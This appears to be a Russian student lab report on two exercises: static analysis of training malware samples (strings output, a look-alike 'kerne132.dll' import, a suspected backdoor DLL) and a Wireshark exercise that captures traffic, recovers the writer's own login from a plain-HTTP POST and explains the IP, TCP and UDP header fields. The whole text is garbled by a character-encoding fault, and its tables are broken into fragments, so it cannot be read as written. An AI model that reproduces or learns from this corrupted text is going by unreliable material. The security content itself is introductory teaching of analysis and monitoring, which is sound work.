ʬʘʡʣʳ ʠ ʧʨʦʘʥʘʣʠʟʠʨʦʚʘʪʴ ʠʭ. ʅʝʦʙʭʦʜʠʤʦ ʦʪʢʨʳʪʴ ʢʦʤʘʥʜʥʫʶ ʩʪʨʦʢʫ. 

 

ʈʠʩʫʥʦʢ 23 ï ɿʘʧʫʩʢ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ 

ʇʦʩʣʝ ʦʪʢʨʳʪʠʷ ʢʘʪʘʣʦʛʘ, ʚ ʢʦʪʦʨʦʤ ʭʨʘʥʠʪʩʷ ʧʨʦʛʨʘʤʤʘ strings.exe, 

ʪʨʝʙʫʝʪʩʷ ʚʚʝʩʪʠ ʢʦʤʘʥʜʫ ʚ ʬʦʨʤʘʪʝ: strings.exe [ʧʫʪʴ ʢ ʬʘʡʣʫ PE] > [ʧʫʪʴ ʢ 

ʪʝʢʩʪʦʚʦʤʫ ʬʘʡʣʫ]. 
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ʈʠʩʫʥʢʠ 24-25 ï ɺʚʦʜ ʥʝʦʙʭʦʜʠʤʳʭ ʢʦʤʘʥʜ ʚ ʢʦʤʘʥʜʥʫʶ ʩʪʨʦʢʫ ʜʣʷ ʦʙʦʠʭ 

ʬʘʡʣʦʚ 

ɺ ʩʪʨʦʢʘʭ exe ʬʘʡʣʘ ʧʨʠʩʫʪʩʪʚʫʝʪ ʥʝʢʦʨʨʝʢʪʥʦʝ ʠʤʷ ʙʠʙʣʠʦʪʝʢʠ 

kerne132.dll ʚʤʝʩʪʦ kernel32.dll, ʯʪʦ ʛʦʚʦʨʠʪ ʦ ʧʦʧʳʪʢʝ ʩʧʫʪʘʪʴ ʝʛʦ ʩ 

ʩʠʩʪʝʤʥʦʡ ʙʠʙʣʠʦʪʝʢʦʡ. (1) ʋʯʠʪʳʚʘʷ ʠʤʧʦʨʪʳ ʬʫʥʢʮʠʡ ʙʠʙʣʠʦʪʝʢʠ 

Kernel32, ʤʦʞʥʦ ʧʨʝʜʧʦʣʦʞʠʪʴ, ʯʪʦ ʩʪʨʦʯʢʘ .exe ʧʦʪʨʝʙʫʝʪʩʷ ʜʣʷ ʧʦʠʩʢʘ 

ʠʩʧʦʣʥʷʝʤʳʭ ʬʘʡʣʦʚ ʩʠʩʪʝʤʳ. (2) 
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ʈʠʩʫʥʦʢ 26 ï ʈʝʟʫʣʴʪʘʪ ʚʳʧʦʣʥʝʥʥʦʡ ʢʦʤʘʥʜʳ ʜʣʷ ʬʘʡʣʘ lab01-01.exe 

ɺ ʩʪʨʦʢʘʭ dll ʬʘʡʣʘ ʩʦʜʝʨʞʘʪʩʷ ʬʫʥʢʮʠʠ exec ʠ sleep, ʢʦʪʦʨʳʝ 

ʠʩʧʦʣʴʟʫʶʪ ʦʧʠʩʘʥʥʳʝ ʨʘʥʝʝ ʩʠʩʪʝʤʥʳʝ ʬʫʥʢʮʠʠ CreateProcessA ʠ Sleep. (1) 

ʊʘʢʞʝ ʟʜʝʩʴ ʧʨʠʩʫʪʩʪʚʫʝʪ ʩʪʨʦʢʘ ʩ ip-ʘʜʨʝʩʦʤ localhost, ʯʪʦ ʛʦʚʦʨʠʪ ʦ 

ʧʦʪʝʥʮʠʘʣʴʥʦʤ ʤʝʞʧʨʦʮʝʩʩʦʨʥʦʤ ʚʟʘʠʤʦʜʝʡʩʪʚʠʠ ʚ ʨʘʤʢʘʭ ʦʜʥʦʛʦ 

ʢʦʤʧʴʶʪʝʨʘ. (2) 

 

ʈʠʩʫʥʦʢ 27 ï ʈʝʟʫʣʴʪʘʪ ʚʳʧʦʣʥʝʥʥʦʡ ʢʦʤʘʥʜʳ ʜʣʷ ʬʘʡʣʘ lab01-01.dll 

ɺʳʚʦʜ: ʠʟʫʯʠʚ ʭʘʨʘʢʪʝʨʠʩʪʠʢʠ ʦʙʦʠʭ ʧʨʦʛʨʘʤʤ, ʤʦʞʥʦ ʧʨʝʜʧʦʣʦʞʠʪʴ, 

ʯʪʦ ʜʠʥʘʤʠʯʝʩʢʘʷ ʙʠʙʣʠʦʪʝʢʘ ʷʚʣʷʝʪʩʷ ʙʵʢʜʦʨʦʤ, ʘ ʠʩʧʦʣʥʷʝʤʳʡ ʬʘʡʣ 

ʧʨʝʜʥʘʟʥʘʯʝʥ ʜʣʷ ʝʛʦ ʫʩʪʘʥʦʚʢʠ ʠʣʠ ʟʘʧʫʩʢʘ. 
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ɿʘʜʘʥʠʝ ˉ 3. ɿʥʘʢʦʤʩʪʚʦ ʩ Wireshark 

ʎʝʣʴ ʨʘʙʦʪʳ: ʦʩʫʱʝʩʪʚʠʪʴ ʟʘʭʚʘʪ ʪʨʘʬʠʢʘ, ʠʟʫʯʠʪʴ ʩʪʨʫʢʪʫʨʫ ip-

ʧʘʢʝʪʘ, ʟʘʛʦʣʦʚʢʠ IP, TCP, UDP ʧʘʢʝʪʦʚ ʠ ʠʭ ʧʦʣʷ, ʬʫʥʢʮʠʦʥʘʣʴʥʳʝ 

ʚʦʟʤʦʞʥʦʩʪʠ wireshark, ʛʨʘʬʠʯʝʩʢʦʝ ʠ ʛʝʦʛʨʘʬʠʯʝʩʢʦʝ ʧʨʝʜʩʪʘʚʣʝʥʠʝ 

ʟʘʭʚʘʯʝʥʥʦʛʦ ʪʨʘʬʠʢʘ. 

ɺʘʞʥʦ! 

ʇʝʨʝʜ ʚʳʧʦʣʥʝʥʠʝʤ ʟʘʜʘʥʠʷ ʥʝʦʙʭʦʜʠʤʦ ʚʳʩʪʘʚʠʪʴ ʫʢʘʟʘʥʥʳʡ ʥʘ 

ʨʠʩʫʥʢʝ 1 ʬʦʨʤʘʪ ʦʪʦʙʨʘʞʝʥʠʷ ʚʨʝʤʝʥʠ. 

 

ʈʠʩʫʥʦʢ 28 ï ʌʦʨʤʘʪ ʦʪʦʙʨʘʞʝʥʠʷ ʚʨʝʤʝʥʠ 

ʇʨʠʤʝʨ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʥʠʷ 

1) ʆʩʫʱʝʩʪʚʠʪʴ ʟʘʭʚʘʪ ʪʨʘʬʠʢʘ 

ʇʦʩʣʝ ʟʘʧʫʩʢʘ Wireshark ʥʘ ʵʢʨʘʥʝ ʧʨʠʚʝʪʩʪʚʠʷ ʤʦʞʥʦ ʫʚʠʜʝʪʴ 

ʜʦʩʪʫʧʥʳʝ ʩʝʪʝʚʳʝ ʧʦʜʢʣʶʯʝʥʠʷ. ʅʘʧʨʦʪʠʚ ʢʘʞʜʦʛʦ ʦʪʦʙʨʘʞʘʝʪʩʷ ʛʨʘʬʠʢ ʩ 

ʩʝʪʝʚʳʤ ʪʨʘʬʠʢʦʤ. ɼʣʷ ʟʘʭʚʘʪʘ ʧʘʢʝʪʦʚ ʚʳʙʠʨʘʝʤ ʦʜʥʫ ʠʣʠ ʥʝʩʢʦʣʴʢʦ ʩʝʪʝʡ       

(ʚ ʜʘʥʥʦʤ ʩʣʫʯʘʝ ʚʳʙʨʘʥ Ethernet) ʠ ʥʘʞʠʤʘʝʤ ʥʘ ʟʥʘʯʦʢ ʚ ʚʠʜʝ ʧʣʘʚʥʠʢʘ 

ʘʢʫʣʳ çʅʘʯʘʪʴ ʟʘʭʚʘʪ ʧʘʢʝʪʦʚè. 
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ʈʠʩʫʥʦʢ 29 ï ʕʢʨʘʥ ʧʨʠʚʝʪʩʪʚʠʷ 

 

ʈʠʩʫʥʦʢ 30 ï ɿʘʭʚʘʪ ʪʨʘʬʠʢʘ 

ɼʣʷ ʧʨʠʤʝʨʘ ʘʥʘʣʠʟʘ ʪʨʘʬʠʢʘ ʚʳʙʨʘʥ ʩʘʡʪ http://www.partizansk.org/u

ser/register, ʥʘ ʢʦʪʦʨʦʤ ʧʨʝʜʚʘʨʠʪʝʣʴʥʦ ʧʨʦʚʝʜʝʥʘ ʨʝʛʠʩʪʨʘʮʠʷ.  

 

http://www.partizansk.org/user/register
http://www.partizansk.org/user/register
http://hd.kyberkino.ru/
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ɺ ʧʨʦʮʝʩʩʝ ʨʘʙʦʪʳ ʧʨʦʛʨʘʤʤʳ:  

1) ʇʨʦʠʟʚʝʜʝʥ ʧʝʨʝʭʦʜ ʥʘ ʩʘʡʪ http://www.partizansk.org/; 

2) ʆʩʫʱʝʩʪʚʣʝʥ ʚʭʦʜ ʚ ʣʠʯʥʫʶ ʫʯʝʪʥʫʶ ʟʘʧʠʩʴ;  

3) ʆʩʫʱʝʩʪʚʣʝʥ ʧʨʦʩʤʦʪʨ ʢʦʥʪʝʥʪʘ ʥʘ ʩʘʡʪʝ. 

 

ʈʠʩʫʥʦʢ 31 ï ɸʚʪʦʨʠʟʘʮʠʷ ʥʘ ʩʘʡʪʝ 

ɿʘ ʚʨʝʤʷ ʧʨʦʩʤʦʪʨʘ ʚ ʪʝʯʝʥʠʝ 2 ï 3 ʤʠʥʫʪ ʙʳʣʦ ʩʦʙʨʘʥʦ 3117 ʧʘʢʝʪʦʚ. 

 

ʈʠʩʫʥʦʢ 32 ï ʂʦʥʝʮ ʟʘʭʚʘʪʘ ʪʨʘʬʠʢʘ 

ʇʦʩʣʝ ʠʩʧʦʣʴʟʦʚʘʥʠʷ ʬʠʣʴʪʨʘ http.request.method=="POST" ʦʩʪʘʥʝʪʩʷ 

10 ʦʪʩʣʝʞʝʥʥʳʭ ʧʘʢʝʪʦʚ.  

ɺʳʜʝʣʠʚ ʧʘʢʝʪ, ʦʪʧʨʘʚʣʝʥʥʳʡ ʩʝʨʚʝʨʫ ʥʘ 84 ʩʝʢʫʥʜʝ ʤʝʪʦʜʦʤ POST, ʚ 

ʨʘʟʜʝʣʝ Packet Details ʩʪʘʥʝʪ ʜʦʩʪʫʧʥʦ ʜʦʧʦʣʥʠʪʝʣʴʥʦʝ ʤʝʥʶ. ʇʨʠ ʧʨʦʩʤʦʪʨʝ 
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ʧʫʥʢʪʘ çHTML Form URL Encodedéè, ʪ.ʢ. ʥʘ ʩʘʡʪʝ ʠʩʧʦʣʴʟʫʝʪʩʷ 

ʥʝʟʘʱʠʱʝʥʥʳʡ ʧʨʦʪʦʢʦʣ http, ʤʦʞʥʦ ʫʚʠʜʝʪʴ ʣʦʛʠʥ ʠ ʧʘʨʦʣʴ, 

ʠʩʧʦʣʴʟʦʚʘʥʥʳʝ ʧʨʠ ʘʚʪʦʨʠʟʘʮʠʠ. 

 

ʈʠʩʫʥʦʢ 33 ï ɸʥʘʣʠʟ ʧʘʢʝʪʘ 

2) ʀʟʫʯʠʪʴ ʩʪʨʫʢʪʫʨʫ IPïʧʘʢʝʪʘ, ʟʘʛʦʣʦʚʢʠ IP TCP UDPïʧʘʢʝʪʘ       ʠ 

ʝʛʦ ʧʦʣʷ 

ʇʘʢʝʪ ʧʨʦʪʦʢʦʣʘ IP ʩʦʩʪʦʠʪ ʠʟ ʟʘʛʦʣʦʚʢʘ ʠ ʧʦʣʷ ʜʘʥʥʳʭ. ʄʘʢʩʠʤʘʣʴʥʘʷ 

ʜʣʠʥʘ ʧʘʢʝʪʘ 65 535 ʙʘʡʪ. ɿʘʛʦʣʦʚʦʢ ʦʙʳʯʥʦ ʠʤʝʝʪ ʜʣʠʥʫ 20 ʙʘʡʪ ʠ ʩʦʜʝʨʞʠʪ 

ʠʥʬʦʨʤʘʮʠʶ ʦ ʩʝʪʝʚʳʭ ʘʜʨʝʩʘʭ ʦʪʧʨʘʚʠʪʝʣʷ ʠ ʧʦʣʫʯʘʪʝʣʷ, ʦ ʧʘʨʘʤʝʪʨʘʭ 

ʬʨʘʛʤʝʥʪʘʮʠʠ, ʦ ʚʨʝʤʝʥʠ ʞʠʟʥʠ ʧʘʢʝʪʘ, ʦ ʢʦʥʪʨʦʣʴʥʦʡ ʩʫʤʤʝ ʠ ʥʝʢʦʪʦʨʳʭ 

ʜʨʫʛʠʭ. ɺ ʧʦʣʝ ʜʘʥʥʳʭ IPïʧʘʢʝʪʘ ʥʘʭʦʜʷʪʩʷ ʩʦʦʙʱʝʥʠʷ ʙʦʣʝʝ ʚʳʩʦʢʦʛʦ 

ʫʨʦʚʥʷ. 
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ɺʝʨʩʠʷ 

 

TOS 

 

ʀʜʝʥʪʠʬʠʢʘ

ʪʦʨ 

ʬʨʘʛʤʝʥʪʘ 

 

 

ʉʤʝʱʝʥʠʝ 

ʬʨʘʛʤʝʥʪ

ʘ 

 

ʇʨʦʪʦʢʦʣ 

 

ɸʜʨʝʩ 

ʦʪʧʨʘʚʠʪʝ

ʣ ̫

4 

ʙʠʪʘ 

4 

ʙʠʪʘ 

8 

ʙʠʪ 

16 

ʙʠʪ 

16 

ʙʠʪ 

3 

ʙʠʪʘ 

13 

ʙʠʪ 

8 

ʙʠʪ 

8 

ʙʠʪ 

16 

ʙʠʪ 

32 

ʙʠʪʘ 

32 

ʙʠʪʘ 

 

ɼʣʠʥʘ 

ʟʘʛʦʣʦʚʢʘ 

IP 

 

 

ʆʙʱʘʷ 

ʜʣʠʥʘ 

 

 

ʌʣʘʞʢʠ 

 

 

TTL  

 

ʂʦʥʪʨʦʣʴ

ʥʘʷ 

ʩʫʤʤʘ 

ʟʘʛʦʣʦʚʢʘ 

 

ɸʜʨʝʩ 

ʧʦʣʫʯʘʪʝʣ

 ̫

1) ɺʝʨʩʠʷ (Version) ï ʫʢʘʟʳʚʘʝʪ ʚʝʨʩʠʶ ʧʨʦʪʦʢʦʣʘ IP (IPv4 ʠʣʠ IPv6). 

2) ɼʣʠʥʘ ʟʘʛʦʣʦʚʢʘ (IHL) IP-ʧʘʢʝʪʘ ï ʫʢʘʟʳʚʘʝʪ ʟʥʘʯʝʥʠʝ ʜʣʠʥʳ 

ʟʘʛʦʣʦʚʢʘ. 

3) ʊʠʧ ʦʙʩʣʫʞʠʚʘʥʠʷ (TOS) ï ʟʘʜʘʝʪ ʧʨʠʦʨʠʪʝʪʥʦʩʪʴ ʧʘʢʝʪʘ ʠ ʚʠʜ 

ʢʨʠʪʝʨʠʷ ʚʳʙʦʨʘ ʤʘʨʰʨʫʪʘ. 

4) ʆʙʱʘʷ ʜʣʠʥʘ (Total Length) ï ʦʙʱʘʷ ʜʣʠʥʘ ʧʘʢʝʪʘ ʩ ʫʯʝʪʦʤ ʟʘʛʦʣʦʚʢʘ 

ʠ ʧʦʣʷ ʜʘʥʥʳʭ. 

5) ʀʜʝʥʪʠʬʠʢʘʪʦʨ ʬʨʘʛʤʝʥʪʘ (Identification) ï ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ 

ʨʘʩʧʦʟʥʘʚʘʥʠʷ ʧʘʢʝʪʦʚ, ʦʙʨʘʟʦʚʘʚʰʠʭʩʷ ʧʫʪʝʤ ʬʨʘʛʤʝʥʪʘʮʠʠ ʠʩʭʦʜʥʦʛʦ 

ʧʘʢʝʪʘ. 

6) ʌʣʘʛʠ (Flags) ï ʧʨʠʟʥʘʢʠ, ʩʚʷʟʘʥʥʳʝ ʩ ʬʨʘʛʤʝʥʪʘʮʠʝʡ. 

7) ʉʤʝʱʝʥʠʝ ʬʨʘʛʤʝʥʪʘ (Fragment Offset) ï ʩʤʝʱʝʥʠʝ ʚ ʙʘʡʪʘʭ ʧʦʣʷ 

ʜʘʥʥʳʭ ʵʪʦʛʦ ʧʘʢʝʪʘ ʦʪ ʥʘʯʘʣʘ ʦʙʱʝʛʦ ʧʦʣʷ ʜʘʥʥʳʭ ʠʩʭʦʜʥʦʛʦ ʧʘʢʝʪʘ, 

ʧʦʜʚʝʨʛʥʫʪʦʛʦ ʬʨʘʛʤʝʥʪʘʮʠʠ. 

8) ɺʨʝʤʷ ʞʠʟʥʠ (Time to Live) ï ʧʨʝʜʝʣʴʥʳʡ ʩʨʦʢ, ʚ ʪʝʯʝʥʠʝ ʢʦʪʦʨʦʛʦ 

ʧʘʢʝʪ ʤʦʞʝʪ ʧʝʨʝʤʝʱʘʪʴʩʷ ʧʦ ʩʝʪʠ. 

9) ʇʨʦʪʦʢʦʣ (Protocol) ï ʫʢʘʟʳʚʘʝʪ, ʢʘʢʦʤʫ ʧʨʦʪʦʢʦʣʫ ʚʝʨʭʥʝʛʦ ʫʨʦʚʥʷ 

ʧʨʠʥʘʜʣʝʞʠʪ ʠʥʬʦʨʤʘʮʠʷ, ʨʘʟʤʝʱʝʥʥʘʷ ʚ ʧʦʣʝ ʜʘʥʥʳʭ ʧʘʢʝʪʘ. 

10) ʂʦʥʪʨʦʣʴʥʘʷ ʩʫʤʤʘ ʟʘʛʦʣʦʚʢʘ (Header Checksum) ï ʧʦʜʩʯʠʪʳʚʘʝʪʩʷ 

ʢʘʢ ʜʦʧʦʣʥʝʥʠʝ ʢ ʩʫʤʤʝ ʚʩʝʭ 16-ʙʠʪʦʚʳʭ ʩʣʦʚ ʟʘʛʦʣʦʚʢʘ. 

11) ɸʜʨʝʩ ʦʪʧʨʘʚʠʪʝʣʷ (Source IP Address) ï IP-ʘʜʨʝʩ ʠʩʪʦʯʥʠʢʘ. 

12) ɸʜʨʝʩ ʧʦʣʫʯʘʪʝʣʷ (Destination IP Address) ï IP-ʘʜʨʝʩ ʥʘʟʥʘʯʝʥʠʷ. 
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ɺʳʙʝʨʝʤ ʚ Wireshark ʧʘʢʝʪ, ʩʦʜʝʨʞʘʱʠʡ ʧʨʦʪʦʢʦʣ UDP. ɺ 

ʧʦʷʚʠʚʰʝʤʩʷ ʤʝʥʶ ʦʙʨʘʪʠʤ ʚʥʠʤʘʥʠʝ ʥʘ ʧʫʥʢʪ çInternet Protocoléè. ɺ ʥʝʤ 

ʧʨʝʜʩʪʘʚʣʝʥʳ ʚʩʝ ʟʘʛʦʣʦʚʢʠ IP-ʧʘʢʝʪʘ ʠ ʠʭ ʟʥʘʯʝʥʠʷ. 

 

ʈʠʩʫʥʦʢ 34 ï ɿʘʛʦʣʦʚʢʠ IP ʚ Wireshark 

UDP (User Datagram Protocol ð ʧʨʦʪʦʢʦʣ ʧʦʣʴʟʦʚʘʪʝʣʴʩʢʠʭ ʜʘʪʘʛʨʘʤʤ) 

ð ʦʜʠʥ ʠʟ ʢʣʶʯʝʚʳʭ ʵʣʝʤʝʥʪʦʚ ʥʘʙʦʨʘ ʩʝʪʝʚʳʭ ʧʨʦʪʦʢʦʣʦʚ ʜʣʷ ʀʥʪʝʨʥʝʪʘ. ʉ 

UDP ʢʦʤʧʴʶʪʝʨʥʳʝ ʧʨʠʣʦʞʝʥʠʷ ʤʦʛʫʪ ʧʦʩʳʣʘʪʴ ʩʦʦʙʱʝʥʠʷ (ʚ ʜʘʥʥʦʤ 

ʩʣʫʯʘʝ ʥʘʟʳʚʘʝʤʳʝ ʜʘʪʘʛʨʘʤʤʘʤʠ) ʜʨʫʛʠʤ ʭʦʩʪʘʤ ʧʦ IP-ʩʝʪʠ ʙʝʟ 

ʥʝʦʙʭʦʜʠʤʦʩʪʠ ʧʨʝʜʚʘʨʠʪʝʣʴʥʦʛʦ ʩʦʦʙʱʝʥʠʷ ʜʣʷ ʫʩʪʘʥʦʚʢʠ ʩʧʝʮʠʘʣʴʥʳʭ 

ʢʘʥʘʣʦʚ ʧʝʨʝʜʘʯʠ ʠʣʠ ʧʫʪʝʡ ʜʘʥʥʳʭ. 

 

ʈʠʩʫʥʦʢ 35 ï ʉʪʨʫʢʪʫʨʘ ʟʘʛʦʣʦʚʢʘ UDP 
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ɼʣʷ ʧʨʦʩʤʦʪʨʘ ʟʘʛʦʣʦʚʢʘ UDP ʚ Wireshark ʨʘʟʚʝʨʥʝʤ ʧʦʜʤʝʥʶ ʩ 

ʥʘʟʚʘʥʠʝʤ çUser Datagram Protocoléè. 

 

ʈʠʩʫʥʦʢ 36 ï ɿʘʛʦʣʦʚʦʢ UDP ʚ Wireshark 

ʈʘʩʩʤʦʪʨʠʤ ʩʪʨʫʢʪʫʨʫ TCP 

ɹʠʪ 0 ï 3 4 ï 9 10 ï 15 16 ï 31 

0 ʇʦʨʪ ʠʩʪʦʯʥʠʢʘ  

(Source Port) 

ʇʦʨʪ ʥʘʟʥʘʯʝʥʠʷ 

(Destination Port) 

32 ʇʦʨʷʜʢʦʚʳʡ ʥʦʤʝʨ (SN, Sequence Number) 

64 ʅʦʤʝʨ ʧʦʜʪʚʝʨʞʜʝʥʠʷ (ACK SN, Acknowledgment Number) 

96 ʉʤʝʱʝʥʠʝ 

ʜʘʥʥʳʭ  

(Data offset) 

ɿʘʨʝʟʝʨʚʠʨʦʚʘʥʦ 

(Rserved) 

ʌʣʘʛʠ ʈʘʟʤʝʨ ʆʢʥʘ  

(Window size) 

128 ʂʦʥʪʨʦʣʴʥʘʷ ʩʫʤʤʘ  

(ʉhecksum) 

ʋʢʘʟʘʪʝʣʴ ʚʘʞʥʦʩʪʠ  

(Urgent Point) 

160 ʆʧʮʠʠ (ʜʦʧʦʣʥʠʪʝʣʴʥʳʝ ʜʘʥʥʳʝ ʟʘʛʦʣʦʚʢʘ) 

160/192+ ɼʘʥʥʳʝ (Data) 
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1) ʇʦʨʪ ʠʩʪʦʯʥʠʢʘ ʠʜʝʥʪʠʬʠʮʠʨʫʝʪ ʧʨʠʣʦʞʝʥʠʝ ʢʣʠʝʥʪʘ, ʩ ʢʦʪʦʨʦʛʦ 

ʦʪʧʨʘʚʣʝʥʳ ʧʘʢʝʪʳ. 

2) ʇʦʨʪ ʥʘʟʥʘʯʝʥʠʷ ʠʜʝʥʪʠʬʠʮʠʨʫʝʪ ʧʦʨʪ, ʥʘ ʢʦʪʦʨʳʡ ʦʪʧʨʘʚʣʝʥ ʧʘʢʝʪ. 

3) ʇʦʨʷʜʢʦʚʳʡ ʥʦʤʝʨ (Sequence number) - ʢʘʞʜʳʡ ʧʝʨʝʜʘʥʥʳʡ ʙʘʡʪ 

ʧʦʣʝʟʥʳʭ ʜʘʥʥʳʭ ʫʚʝʣʠʯʠʚʘʝʪ ʵʪʦ ʟʥʘʯʝʥʠʝ ʥʘ 1. 

4) Acknowledgment Number (ACK SN) ð ʝʩʣʠ ʫʩʪʘʥʦʚʣʝʥ ʬʣʘʛ ACK, ʪʦ 

ʵʪʦ ʧʦʣʝ ʩʦʜʝʨʞʠʪ ʧʦʨʷʜʢʦʚʳʡ ʥʦʤʝʨ ʦʢʪʝʪʘ, ʢʦʪʦʨʳʡ ʦʪʧʨʘʚʠʪʝʣʴ ʜʘʥʥʦʛʦ 

ʩʝʛʤʝʥʪʘ ʞʝʣʘʝʪ ʧʦʣʫʯʠʪʴ. 

5) ʉʤʝʱʝʥʠʝ ʜʘʥʥʳʭ (Data offset) - ʫʢʘʟʳʚʘʝʪ ʟʥʘʯʝʥʠʝ ʜʣʠʥʳ 

ʟʘʛʦʣʦʚʢʘ, ʠʟʤʝʨʝʥʥʦʝ ʚ 32-ʙʠʪʦʚʳʭ ʩʣʦʚʘʭ, ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʦʧʨʝʜʝʣʝʥʠʷ 

ʥʘʯʘʣʘ ʨʘʩʧʦʣʦʞʝʥʠʷ ʜʘʥʥʳʭ ʚ TCP-ʧʘʢʝʪʝ. 

6) ɿʘʨʝʟʝʨʚʠʨʦʚʘʥʦ (6 ʙʠʪ) ʜʣʷ ʙʫʜʫʱʝʛʦ ʠʩʧʦʣʴʟʦʚʘʥʠʷ ʠ ʜʦʣʞʥʦ 

ʫʩʪʘʥʘʚʣʠʚʘʪʴʩʷ ʚ ʥʦʣʴ. ʀʟ ʥʠʭ ʜʚʘ (5-ʡ ʠ 6-ʡ) ʫʞʝ ʦʧʨʝʜʝʣʝʥʳ. 

7) ʌʣʘʛʠ ï URG (ʫʢʘʟʘʪʝʣʴ ʚʘʞʥʦʩʪʠ), ACK (ʥʦʤʝʨ ʧʦʜʪʚʝʨʞʜʝʥʠʷ), 

PSH (ʠʥʩʪʨʫʢʪʠʨʫʝʪ ʧʦʣʫʯʘʪʝʣʷ ʧʨʦʪʦʣʢʥʫʪʴ ʜʘʥʥʳʝ, ʥʘʢʦʧʠʚʰʠʝʩʷ ʚ 

ʧʨʠʸʤʥʦʤ ʙʫʬʝʨʝ, ʚ ʧʨʠʣʦʞʝʥʠʝ ʧʦʣʴʟʦʚʘʪʝʣʷ), RST (ʦʙʦʨʚʘʪʴ ʩʦʝʜʠʥʝʥʠʷ, 

ʩʙʨʦʩʠʪʴ ʙʫʬʝʨ), SYN (ʩʠʥʭʨʦʥʠʟʘʮʠʷ ʥʦʤʝʨʦʚ ʧʦʩʣʝʜʦʚʘʪʝʣʴʥʦʩʪʠ), FIN 

(ʙʫʜʫʯʠ ʫʩʪʘʥʦʚʣʝʥ, ʫʢʘʟʳʚʘʝʪ ʥʘ ʟʘʚʝʨʰʝʥʠʝ ʩʦʝʜʠʥʝʥʠʷ). 

8) ʈʘʟʤʝʨ ʆʢʥʘ (Window size) - ʦʧʨʝʜʝʣʷʝʪ ʢʦʣʠʯʝʩʪʚʦ ʙʘʡʪ ʜʘʥʥʳʭ 

(payload), ʧʦʩʣʝ ʧʝʨʝʜʘʯʠ ʢʦʪʦʨʳʭ ʦʪʧʨʘʚʠʪʝʣʴ ʦʞʠʜʘʝʪ ʧʦʜʪʚʝʨʞʜʝʥʠʷ ʦʪ 

ʧʦʣʫʯʘʪʝʣʷ, ʯʪʦ ʜʘʥʥʳʝ ʧʦʣʫʯʝʥʳ. 

9) ʂʦʥʪʨʦʣʴʥʘʷ ʩʫʤʤʘ (Checksum) - 16-ʙʠʪʥʦʝ ʜʦʧʦʣʥʝʥʠʝ ʢ ʩʫʤʤʝ ʚʩʝʭ 

16-ʙʠʪʥʳʭ ʩʣʦʚ ʟʘʛʦʣʦʚʢʘ (ʚʢʣʶʯʘʷ ʧʩʝʚʜʦʟʘʛʦʣʦʚʦʢ) ʠ ʜʘʥʥʳʭ. 

10) ʋʢʘʟʘʪʝʣʴ ʚʘʞʥʦʩʪʠ (Urgent pointer) - ʫʢʘʟʳʚʘʝʪ ʧʦʨʷʜʢʦʚʳʡ 

ʥʦʤʝʨ ʦʢʪʝʪʘ, ʢʦʪʦʨʳʤ ʟʘʢʘʥʯʠʚʘʶʪʩʷ ʚʘʞʥʳʝ (urgent) ʜʘʥʥʳʝ. 

11) ʆʧʮʠʠ - ʤʦʛʫʪ ʧʨʠʤʝʥʷʪʴʩʷ ʚ ʥʝʢʦʪʦʨʳʭ ʩʣʫʯʘʷʭ ʜʣʷ ʨʘʩʰʠʨʝʥʠʷ 

ʧʨʦʪʦʢʦʣʘ, ʠʥʦʛʜʘ ʠʩʧʦʣʴʟʫʶʪʩʷ ʜʣʷ ʪʝʩʪʠʨʦʚʘʥʠʷ.  

12) ɼʘʥʥʳʝ (Data). 
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ʈʠʩʫʥʦʢ 37 ï ɿʘʛʦʣʦʚʦʢ TCP 

3) ʀʟʫʯʝʥʠʝ ʬʫʥʢʮʠʦʥʘʣʴʥʳʭ ʚʦʟʤʦʞʥʦʩʪʝʡ 

ʇʦʧʨʦʙʫʝʤ ʧʨʦʩʤʦʪʨʝʪʴ ʜʘʥʥʳʝ, ʧʦʣʫʯʝʥʥʳʝ ʧʦʣʴʟʦʚʘʪʝʣʝʤ ʧʨʠ 

ʧʦʩʝʱʝʥʠʠ ʩʘʡʪʘ. ɼʣʷ ʵʪʦʛʦ ʩ ʧʦʤʦʱʴʶ ʤʝʥʶ ñʌʘʡʣò ʵʢʩʧʦʨʪʠʨʫʝʤ ʦʙʲʝʢʪʳ 

ʚ HTTP. 

 

ʈʠʩʫʥʦʢ 38 ï ʕʢʩʧʦʨʪ ʦʙʲʝʢʪʦʚ 
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ʈʠʩʫʥʦʢ 39 ï ʕʢʩʧʦʨʪʠʨʦʚʘʥʥʳʝ ʦʙʲʝʢʪʳ ʚ ʧʘʧʢʝ 

ʀʟ ʵʢʩʧʦʨʪʠʨʦʚʘʥʥʳʭ ʦʙʲʝʢʪʦʚ ʤʦʞʥʦ ʧʦʩʤʦʪʨʝʪʴ, ʥʘʧʨʠʤʝʨ, ʥʘ 

ʠʟʦʙʨʘʞʝʥʠʷ. 

ʊʘʢʞʝ ʤʦʞʥʦ ʧʦʩʪʨʦʠʪʴ ʛʨʘʬʠʢ ʧʦʷʚʣʝʥʠʷ ʟʘʭʚʘʯʝʥʥʳʭ ʧʘʢʝʪʦʚ ʚ 

ʟʘʚʠʩʠʤʦʩʪʠ ʦʪ ʚʩʝʛʦ ʚʨʝʤʝʥʠ ʟʘʭʚʘʪʘ. ɼʣʷ ʵʪʦʛʦ ʠʩʧʦʣʴʟʫʝʤ ʠʥʩʪʨʫʤʝʥʪ 

ñɻʨʘʬʠʢ ʚʚʦʜʘ/ʚʳʚʦʜʘò. 

 

 

ʈʠʩʫʥʦʢ 40 ï ɻʨʘʬʠʢ ʚʚʦʜʘ/ʚʳʚʦʜʘ 
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ɺʳʙʨʘʥ ʧʫʥʢʪ ñʩʪʘʪʠʩʪʠʢʘ - > ʢʦʥʝʯʥʳʝ ʪʦʯʢʠò ʠ ʚ ʥʦʚʦʤ ʦʢʥʦ 

ʚʳʙʝʨʝʤ ñIP4 - > ʢʘʨʪʘ - > ʦʪʢʨʳʪʴ ʚ ʙʨʘʫʟʝʨʝò. 

ɽʩʣʠ çʢʘʨʪʘè ʥʝ ʘʢʪʠʚʥʘ, ʪʦ ʪʨʝʙʫʝʪʩʷ ʟʘʛʨʫʟʠʪʴ 

GeoIP: https://wiki.wireshark.org/HowToUseGeoIP. 

ɼʣʷ ʟʘʛʨʫʟʢʠ ʥʝʦʙʭʦʜʠʤʦ ʟʘʨʝʛʠʩʪʨʠʨʦʚʘʪʴʩʷ ʠ ʩʢʘʯʘʪʴ ʪʨʠ ʙʘʟʳ 

ʜʘʥʥʳʭ GeoLite2 ʠ ʫʢʘʟʘʪʴ ʠʭ ʧʫʪʴ ʚ Wireshark. 

 

